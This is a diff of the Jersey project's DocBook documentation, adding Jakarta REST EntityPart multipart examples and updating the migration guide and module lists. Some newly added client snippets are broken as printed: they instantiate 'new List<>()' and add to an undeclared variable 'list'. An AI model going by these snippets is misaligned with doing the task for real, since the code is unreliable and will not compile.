+<!ENTITY jersey.jetty11.Jetty11ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ConnectorProvider.html'>Jetty11ConnectorProvider</link>">
+<!ENTITY jersey.jnh.JavaNetHttpConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpConnectorProvider.html'>JavaNetHttpConnectorProvider</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html'>JavaNetHttpClientProperties</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#COOKIE_HANDLER'>JavaNetHttpClientProperties.COOKIE_HANDLER</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#SSL_PARAMETERS'>JavaNetHttpClientProperties.SSL_PARAMETERS</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#DISABLE_COOKIES'>JavaNetHttpClientProperties.DISABLE_COOKIES</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#HTTP_VERSION'>JavaNetHttpClientProperties.HTTP_VERSION</link>">
 <!ENTITY jersey.linking.DeclarativeLinkingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/linking/DeclarativeLinkingFeature.html'>DeclarativeLinkingFeature</link>">
 <!ENTITY jersey.logging.LoggingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html'>LoggingFeature</link>">
 <!ENTITY jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html#DEFAULT_LOGGER_NAME'>LoggingFeature.DEFAULT_LOGGER_NAME</link>">
@@ -643,11 +664,15 @@
 <!ENTITY jersey.server.ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231 "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231'>ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231</link>" >
 <!ENTITY jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE'>ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE</link>" >
 <!ENTITY jersey.server.ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES'>ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES</link>" >
+<!ENTITY jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_ALLOW_PRIVILEGED_PORTS'>ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS</link>" >
+<!ENTITY jersey.server.ServerProperties.WEBSERVER_AUTO_START "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_AUTO_START'>ServerProperties.WEBSERVER_AUTO_START</link>" >
+<!ENTITY jersey.server.ServerProperties.WEBSERVER_CLASS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_CLASS'>ServerProperties.WEBSERVER_CLASS</link>" >
 <!ENTITY jersey.server.Uri "<link xlink:href='&jersey.javadoc.uri.prefix;/server/Uri.html'>Uri</link>">
 <!ENTITY jersey.server.UriConnegFilter "<link xlink:href='&jersey.javadoc.uri.prefix;/server/filter/UriConnegFilter.html'>UriConnegFilter</link>">
 <!ENTITY jersey.server.WadlFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlFeature.html'>WadlFeature</link>">
 <!ENTITY jersey.server.WadlGenerator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlGenerator.html'>WadlGenerator</link>">
 <!ENTITY jersey.server.WadlGeneratorConfig "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/config/WadlGeneratorConfig.html'>WadlGeneratorConfig</link>">
+<!ENTITY jersey.server.WebServerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/server/WebServerFactory.html'>WebServerFactory</link>">
 <!ENTITY jersey.server.model.MethodHandler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/MethodHandler.html'>MethodHandler</link>">
 <!ENTITY jersey.server.model.ComponentModelValidator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/ComponentModelValidator.html'>ComponentModelValidator</link>">
 <!ENTITY jersey.server.monitoring.ApplicationEvent "<link xlink:href='&jersey.javadoc.uri.prefix;/server/monitoring/ApplicationEvent.html'>ApplicationEvent</link>">
@@ -690,6 +715,8 @@
 <!ENTITY jersey.server.spi.ContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ContainerProvider.html'>ContainerProvider</link>">
 <!ENTITY jersey.server.spi.ExternalRequestScope "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ExternalRequestScope.html'>ExternalRequestScope</link>">
 <!ENTITY jersey.server.spi.RequestScopedInitializer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/RequestScopedInitializer.html'>RequestScopedInitializer</link>">
+<!ENTITY jersey.server.spi.WebServer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServer.html'>WebServer</link>">
+<!ENTITY jersey.server.spi.WebServerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServerProvider.html'>WebServerProvider</link>">
 <!ENTITY jersey.servlet.ServletContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletContainer.html'>ServletContainer</link>">
 <!ENTITY jersey.servlet.ServletProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html'>ServletProperties</link>">
 <!ENTITY jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html#FILTER_CONTEXT_PATH'>ServletProperties.FILTER_CONTEXT_PATH</link>">
@@ -829,6 +856,8 @@
 <!ENTITY lit.jaxrs.QueryParam "<literal>@QueryParam</literal>">
 <!ENTITY lit.jaxrs.ReaderInterceptor "<literal>ReaderInterceptor</literal>">
 <!ENTITY lit.jaxrs.ReaderInterceptorContext "<literal>ReaderInterceptorContext</literal>">
+<!ENTITY lit.jaxrs.SeBootstrap "<literal>SeBootstrap</literal>">
+<!ENTITY lit.jaxrs.SeBootstrap.Configuration "<literal>SeBootstrap.Configuration</literal>">
 <!ENTITY lit.jaxrs.WebApplicationException "<literal>WebApplicationException</literal>">
 <!ENTITY lit.jaxrs.WriterInterceptor "<literal>WriterInterceptor</literal>">
 <!ENTITY lit.jaxrs.WriterInterceptorContext "<literal>WriterInterceptorContext</literal>">
@@ -862,6 +891,7 @@
 <!ENTITY lit.jaxrs.core.Context "<literal>@Context</literal>">
 <!ENTITY lit.jaxrs.core.Cookie "<literal>Cookie</literal>">
 <!ENTITY lit.jaxrs.core.EntityTag "<literal>EntityTag</literal>">
+<!ENTITY lit.jaxrs.core.EntityPart "<literal>EntityPart</literal>">
 <!ENTITY lit.jaxrs.core.Feature "<literal>Feature</literal>">
 <!ENTITY lit.jaxrs.core.Form "<literal>Form</literal>">
 <!ENTITY lit.jaxrs.core.GenericEntity "<literal>GenericEntity&lt;T&gt;</literal>">
@@ -907,6 +937,7 @@
 <!ENTITY lit.jdk6.InputStream "<literal>InputStream</literal>">
 <!ENTITY lit.jdk6.JAXBElement "<literal>JAXBElement</literal>">
 <!ENTITY lit.jdk6.KeyStore "<literal>KeyStore</literal>">
+<!ENTITY lit.jdk6.List "<literal>List</literal>">
 <!ENTITY lit.jdk6.Number "<literal>Number</literal>">
 <!ENTITY lit.jdk6.ObjectName "<literal>ObjectName</literal>">
 <!ENTITY lit.jdk6.ParameterizedType "<literal>ParameterizedType</literal>">
@@ -1011,6 +1042,7 @@
 <!ENTITY lit.jersey.jetty.JettyHttpContainerFactory "<literal>JettyHttpContainerFactory</literal>">
 <!ENTITY lit.jersey.jetty.JettyHttpContainerProvider "<literal>JettyHttpContainerProvider</literal>">
 <!ENTITY lit.jersey.jetty.JettyWebContainerFactory "<literal>JettyWebContainerFactory</literal>">
+<!ENTITY lit.jersey.jetty11.Jetty11ConnectorProvider "<literal>Jetty11ConnectorProvider</literal>">
 <!ENTITY lit.jersey.linking.DeclarativeLinkingFeature "<literal>DeclarativeLinkingFeature</literal>">
 <!ENTITY lit.jersey.logging.LoggingFeature "<literal>LoggingFeature</literal>">
 <!ENTITY lit.jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<literal>LoggingFeature.DEFAULT_LOGGER_NAME</literal>">
@@ -1149,6 +1181,8 @@
 <!ENTITY lit.jersey.server.oauth1.TokenResource "<literal>TokenResource</literal>">
 <!ENTITY lit.jersey.server.spi.ComponentProvider "<literal>ComponentProvider</literal>">
 <!ENTITY lit.jersey.server.spi.ContainerProvider "<literal>ContainerProvider</literal>">
+<!ENTITY lit.jersey.server.spi.WebServer "<literal>WebServer</literal>">
+<!ENTITY lit.jersey.server.spi.WebServerProvider "<literal>WebServerProvider</literal>">
 <!ENTITY lit.jersey.servlet.ServletContainer "<literal>ServletContainer</literal>">
 <!ENTITY lit.jersey.servlet.ServletProperties "<literal>ServletProperties</literal>">
 <!ENTITY lit.jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<literal>ServletProperties.FILTER_CONTEXT_PATH</literal>">
diff --git a/docs/src/main/docbook/media.xml b/docs/src/main/docbook/media.xml
index c6f80bb..f27d2f0 100644
--- a/docs/src/main/docbook/media.xml
+++ b/docs/src/main/docbook/media.xml
@@ -23,6 +23,10 @@
         <!ENTITY link.jackson "<link linkend='json.jackson'>Jackson</link>" >
         <!ENTITY link.jettison "<link linkend='json.jettison'>Jettison</link>" >
         <!ENTITY link.json-b "<link linkend='json.json-b'>Java API for JSON Binding (JSON-B)</link>" >
+        <!ENTITY link.multipart.client.jersey "<link linkend='multipart.client.jersey'>Client using Jersey API</link>" >
+        <!ENTITY link.multipart.client.rest "<link linkend='multipart.client.rest'>Client using Jakarta REST API</link>" >
+        <!ENTITY link.multipart.server.jersey "<link linkend='multipart.server.jersey'>Server using Jersey API</link>" >
+        <!ENTITY link.multipart.server.rest "<link linkend='multipart.server.rest'>Server using Jakarta REST API</link>" >
 
         <!ENTITY % ents SYSTEM "jersey.ent" > %ents;
 ]>
@@ -1566,25 +1570,11 @@
                 <title>Registration</title>
 
                 <para>
-                    Before you can use capabilities of the &lit.jersey-media-multipart; module in your client/server code, you
-                    need to register &jersey.media.multipart.MultiPartFeature;.
+                    Prior to Jersey 3.1.0, before you can use the capabilities of the &lit.jersey-media-multipart;
+                    module in your client/server code, you need to register &jersey.media.multipart.MultiPartFeature;.
 
-                    <example>
-                        <title>Building client with MultiPart feature enabled.</title>
-
-                        <programlisting language="java">final Client client = ClientBuilder.newBuilder()
-    .register(MultiPartFeature.class)
-    .build();</programlisting>
-                    </example>
-
-                    <example>
-                        <title>Creating JAX-RS application with MultiPart feature enabled.</title>
-
-                        <programlisting language="java">// Create JAX-RS application.
-final Application application = new ResourceConfig()
-    .packages("org.glassfish.jersey.examples.multipart")
-    .register(MultiPartFeature.class)</programlisting>
-                    </example>
+                    The multipart feature is supported by Jakarta RESTful Web Services 3.1 multipart API. From Jersey 3.1.0 on,
+                    the &jersey.media.multipart.MultiPartFeature; is no longer required to be registered and it is registered automatically.
                 </para>
             </section>
 
@@ -1599,20 +1589,30 @@
 
         <section>
             <title>Client</title>
+            <itemizedlist>
+                <listitem>
+                    <para>&link.multipart.client.jersey;</para>
+                </listitem>
+                <listitem>
+                    <para>&link.multipart.client.rest;</para>
+                </listitem>
+            </itemizedlist>
+            <section xml:id="multipart.client.jersey">
+                <title>Client using Jersey API</title>
 
-            <para>
-                &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use
-                &lit.jersey-media-multipart; module on the client side. This class represents a
-                <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able
-                to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is
-                <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link>
-                for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for
-                &lit.jersey.media.multipart.BodyPart;.
+                <para>
+                    &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use
+                    &lit.jersey-media-multipart; module on the client side. This class represents a
+                    <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able
+                    to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is
+                    <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link>
+                    for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for
+                    &lit.jersey.media.multipart.BodyPart;.
 
-                <example>
-                    <title>&lit.jersey.media.multipart.MultiPart; entity</title>
+                    <example>
+                        <title>&lit.jersey.media.multipart.MultiPart; entity</title>
 
-                    <programlisting language="java">final MultiPart multiPartEntity = new MultiPart()
+                        <programlisting language="java">final MultiPart multiPartEntity = new MultiPart()
         .bodyPart(new BodyPart().entity("hello"))
         .bodyPart(new BodyPart(new JaxbBean("xml"), MediaType.APPLICATION_XML_TYPE))
         .bodyPart(new BodyPart(new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE));
@@ -1621,15 +1621,15 @@
 final Response response = target
         .request()
         .post(Entity.entity(multiPartEntity, multiPartEntity.getMediaType()));</programlisting>
-                </example>
+                    </example>
 
-                If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal>
-                header in HTTP message would look like (don't forget to register a JSON provider):
+                    If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal>
+                    header in HTTP message would look like:
 
-                <example>
-                    <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title>
+                    <example>
+                        <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title>
 
-                    <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis>
+                        <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis>
 
 --Boundary_1_829077776_1369128119878
 Content-Type: text/plain
@@ -1644,34 +1644,34 @@
 
 {"value":"json"}
 --Boundary_1_829077776_1369128119878--</screen>
-                </example>
-            </para>
-            <para>
-                When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them,
-                there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets
-                the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to
-                <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to
-                &lit.jersey.media.multipart.FormDataBodyPart; body parts.
+                    </example>
+                </para>
+                <para>
+                    When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them,
+                    there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets
+                    the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to
+                    <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to
+                    &lit.jersey.media.multipart.FormDataBodyPart; body parts.
 
-                <example>
-                    <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title>
-                    <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart()
+                    <example>
+                        <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title>
+                        <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart()
     .field("hello", "hello")
     .field("xml", new JaxbBean("xml"))
     .field("json", new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE);
 
 final WebTarget target = // Create WebTarget.
 final Response response = target.request().post(Entity.entity(multipart, multipart.getMediaType()));</programlisting>
-                </example>
+                    </example>
 
-                To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of
-                &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the
-                &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message:
+                    To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of
+                    &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the
+                    &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message:
 
-                <example>
-                    <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title>
+                    <example>
+                        <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title>
 
-                    <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis>
+                        <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis>
 
 --Boundary_1_511262261_1369143433608
 Content-Type: text/plain
@@ -1689,17 +1689,17 @@
 
 {"value":"json"}
 --Boundary_1_511262261_1369143433608--</screen>
-                </example>
-            </para>
-            <para>
-                A common use-case for many users is sending files from client to server. For this purpose you can use classes from
-                <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as
-                &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;.
+                    </example>
+                </para>
+                <para>
+                    A common use-case for many users is sending files from client to server. For this purpose you can use classes from
+                    <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as
+                    &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;.
 
-                <example>
-                    <title>Multipart - sending files.</title>
+                    <example>
+                        <title>Multipart - sending files.</title>
 
-                    <programlisting language="java">// MediaType of the body part will be derived from the file.
+                        <programlisting language="java">// MediaType of the body part will be derived from the file.
 final FileDataBodyPart filePart = new FileDataBodyPart("my_pom", new File("pom.xml"));
 
 final FormDataMultiPart multipart = new FormDataMultiPart()
@@ -1709,19 +1709,76 @@
 final WebTarget target = // Create WebTarget.
 final Response response = target.request()
     .post(Entity.entity(multipart, multipart.getMediaType()));</programlisting>
-                </example>
-            </para>
-            <warning>
-                <para>
-                    Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider;
-                    neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart
-                    features. See <xref linkend="connectors.warning"/> warning for more details.
+                    </example>
                 </para>
-            </warning>
+                <warning>
+                    <para>
+                        Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider;
+                        neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart
+                        features. See <xref linkend="connectors.warning"/> warning for more details.
+                    </para>
+                </warning>
+            </section>
+
+            <section xml:id="multipart.client.rest">
+                <title>Client using Jakarta REST API</title>
+
+                <para>
+                &jaxrs.core.EntityPart; interface can be used as an entry point to use
+                &lit.jersey-media-multipart; module on the client side. This class represents multipart message is able
+                to hold an arbitrary number of &jaxrs.core.EntityPart;s. Default media type is
+                <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/form-data</link>.
+
+                <example>
+                    <title>Using <literal>EntityPart.Builder</literal> for building an Entity</title>
+
+                    <programlisting language="java">
+final List&lt;EntityPart&gt; multiPartEntity = new List&lt;&gt;();
+list.add(EntityPart.withName("part-01").content("hello").build());
+list.add(EntityPart.withName("part-01").content(new JaxbBean("xml")).mediaType(MediaType.APPLICATION_XML_TYPE).build()); //same name
+list.add(EntityPart.withName("part-02").content(new JaxbBean("json")).mediaType(MediaType.APPLICATION_JSON_TYPE).build()); //other name
+final GenericEntity&lt;List&lt;EntityPart&gt;&gt; genericEntity = new GenericEntity&lt;&gt;(list) {};
+final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+final WebTarget target = // Create WebTarget.
+final Response response = target.request().post(entity);
+                    </programlisting>
+                </example>
+                </para>
+                <para>
+                    The common use-case for many users is sending files from client to server. It is also covered by
+                    &jaxrs.core.EntityPart;.Builder.
+                    <example>
+                        <title>EntityPart - sending files.</title>
+
+                        <programlisting language="java">// MediaType of the body part will be derived from the file.
+final List&lt;EntityPart&gt; multiPartEntity = new List&lt;&gt;();
+list.add(EntityPart.withFileName("file001.txt").content(Files.newInputStream(Path.of("file001.txt"))).build());
+list.add(EntityPart.withFileName("mypom.xml").content(Files.newInputStream(Path.of("pom.xml"))).build());
+
+final GenericEntity&lt;List&lt;EntityPart&gt;&gt; genericEntity = new GenericEntity&lt;&gt;(list) {};
+final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+final WebTarget target = // Create WebTarget.
+final Response response = target.request().post(entity);
+                        </programlisting>
+                    </example>
+                </para>
+            </section>
         </section>
 
         <section>
             <title>Server</title>
+            <itemizedlist>
+                <listitem>
+                    <para>&link.multipart.server.jersey;</para>
+                </listitem>
+                <listitem>
+                    <para>&link.multipart.server.rest;</para>
+                </listitem>
+            </itemizedlist>
+            <section xml:id="multipart.server.jersey">
+            <title>Jersey Server API</title>
 
             <para>
                 Returning a multipart response from server to client is not much different from the parts described in the client
@@ -1897,5 +1954,60 @@
             <programlisting language="java">ResourceConfig resourceConfig = new ResourceConfig();
 resourceConfig.register(new MultiPartProperties().bufferThreshold(65535).maxParts(2).resolver());</programlisting>
         </section>
+        <section xml:id="multipart.server.rest">
+                <title>Server using Jakarta REST API</title>
+                <para>
+                    Using &jaxrs.core.EntityPart; on the server side is similar to the client side.
+                    Jakarta REST specification allows for
+                    returning a &lit.jaxrs.core.Response; or a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s.
+                </para>
+                <para>
+                    Receiving the &jaxrs.core.EntityPart;s can be done either using &lit.jaxrs.FormParam; annotations and
+                    &lit.jaxrs.core.EntityPart;, &lit.jdk6.InputStream; or &lit.jdk6.String; data-types, or using a
+                    &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s.
+                </para>
+
+                <example>
+                <title>Use of &lit.jaxrs.FormParam; annotation with &lit.jaxrs.core.EntityPart; &lit.jdk6.InputStream;
+                    and &lit.jdk6.String; types and returning a &lit.jaxrs.core.Response;</title>
+                <programlisting language="java">@POST
+@Path("/postFormVarious")
+public Response postFormVarious(@FormParam("name1") EntityPart part1,
+                @FormParam("name2") InputStream part2,
+                @FormParam("name3") String part3) throws IOException {
+    final List&lt;EntityPart&gt; list = new LinkedList&lt;&gt;();
+    list.add(EntityPart.withName(part1.getName())
+        .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3)
+        .mediaType(MediaType.TEXT_PLAIN_TYPE)
+        .build());
+    final GenericEntity&lt;List&lt;EntityPart&gt;&gt; genericEntity = new GenericEntity&lt;&gt;(list) {};
+    return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+}
+            </programlisting>
+            </example>
+            <example>
+                <title>Receiving a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title>
+                <programlisting language="java">@POST
+@Path("/postListForm")
+public String postEntityPartForm(@FormParam("part-0x") List&lt;EntityPart&gt; part) throws IOException {
+    final String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class);
+    return entity;
+}
+                </programlisting>
+            </example>
+            <example>
+                <title>Returning a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title>
+                <programlisting language="java">@GET
+@Produces(MediaType.MULTIPART_FORM_DATA)
+@Path("/getList")
+public List&lt;EntityPart&gt; getList() throws IOException {
+    final List&lt;EntityPart&gt; list = new LinkedList&lt;&gt;();
+    list.add(EntityPart.withName("name1").content("data1").build());
+    return list;
+}
+                </programlisting>
+            </example>
+        </section>
+    </section>
     </section>
 </chapter>
diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml
index d9adba0..03f7b61 100644
--- a/docs/src/main/docbook/migration.xml
+++ b/docs/src/main/docbook/migration.xml
@@ -28,18 +28,6 @@
          xml:id="migration">
     <title>Migration Guide</title>
 
-    <section xml:id="mig-3.0.11">
-        <title>Migrating from Jersey 3.0.11 to 3.0.12</title>
-        <section xml:id="mig-3.0.11-jackson-changes">
-            <title>Changes in Jackson</title>
-            <para>
-                Jersey 3.0.12 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
-                numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
-                length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
-            </para>
-        </section>
-    </section>
-
     <section xml:id="mig-3.0.0">
         <title>Migrating from Jersey 2.32+ to 3.0.x.</title>
         <section xml:id="mig-3.0.0-breaking-changes">
@@ -48,25 +36,28 @@
                 <itemizedlist>
                     <listitem>
                         <para>
-                            The most fundamental change in Jersey &version; and later is namespace change.
+                            The most fundamental change in Jersey 3.0.0 and later is namespace change.
                             Since Jakarta EE 9 the <literal>jakarta.</literal> namespace is introduced as a replacement
                             for javax namespace from Java EE.
                         </para>
+                    </listitem>
+                    <listitem>
                         <para>
-                            Due to required jakartification several modules where omitted (because of not satisfied dependencies).
-                            Or require higher JDK (11+).
+                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
                         </para>
-                        <para>
-                            Spring for now is not supported.
-                        </para>
-                        <para>
-                            Helidon connector for now is not supported.
-                        </para>
+                    </listitem>
+                    <listitem>
                         <para>
                             Examples and tests are reduced in quantity (so you probably will not find all those examples which were available
                             in the 2.32 version).
                         </para>
                     </listitem>
+                    <listitem>
+                        <para>
+                            &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
+                            <literal>true</literal>.
+                        </para>
+                    </listitem>
                 </itemizedlist>
             </para>
         </section>
@@ -107,16 +98,57 @@
                             Jakarta EE 10. Jakarta EE 10 defines the minimum JDK 11 requirement and hence Jersey no longer
                             supports JDK 8.
                         </para>
+                        <para>
+                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
+                        </para>
                     </listitem>
                     <listitem>
                         <para>
-                            &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
-                            <literal>true</literal>.
+                            Since Jersey 3.1.0+ the <literal>getRequestHeader(String name)</literal> method of the
+                            <literal>ClientRequest</literal> class returns NULL (instead of an empty List) in case if
+                            the specified header does not exist.
                         </para>
                     </listitem>
                 </itemizedlist>
             </para>
         </section>
+        <section xml:id="mig-3.1.0-application-path">
+            <title>@ApplicationPath Annotation Support</title>
+            <para>
+                Jersey 3.1 supports <literal>@ApplicationPath</literal> annotation by every container, not only the
+                <literal>Servlet</literal> container. This can affect tests, as well as deployments to containers
+                where the annotation used to be ignored by previous versions of Jersey.
+            </para>
+        </section>
+        <section xml:id="mig-3.1.4-jetty-modules">
+            <title>Jetty Modules</title>
+            <itemizedlist>
+                <listitem>
+                    <para>
+                        Jersey 3.0.x, and 3.1.0 - 3.1.3 Jetty modules (jersey-jetty-connector, jersey-container-jetty-http,
+                        jersey-container-jetty-servlet, jersey-test-framework-provider-jetty) are based on Jetty 11,
+                        which is Jakarta EE 9 related.
+                    </para>
+                </listitem>
+                <listitem>
+                    <para>
+                        Jersey 3.1.4 modules use Jetty 12 which is Jakarta EE 10 related (as well as Jersey 3.1.x).
+                        Jetty 12 dependencies use modules names different from Jetty 11.
+                    </para>
+                </listitem>
+            </itemizedlist>
+        </section>
+        <section xml:id="mig-3.1.4">
+            <title>Migrating from Jersey 3.1.3 to 3.1.4</title>
+            <section xml:id="mig-3.1.4-jackson-changes">
+                <title>Changes in Jackson</title>
+                <para>
+                    Jersey 3.1.4 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
+                    numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
+                    length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
+                </para>
+            </section>
+        </section>
     </section>
 
 </chapter>
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml
index 3236c43..8ce80ef 100644
--- a/docs/src/main/docbook/modules.xml
+++ b/docs/src/main/docbook/modules.xml
@@ -112,16 +112,9 @@
     jersey-container-jetty-http
 </link>
 </entry>
-<entry>Jetty Http Container (for JDK 11+)</entry>
+<entry>Jetty Http Container (for JDK 17+)</entry>
 </row>
-<row>
-<entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-http2/dependencies.html">
-    jersey-container-jetty-http2
-</link>
-</entry>
-<entry>Jetty HTTP/2 Container</entry>
-</row>
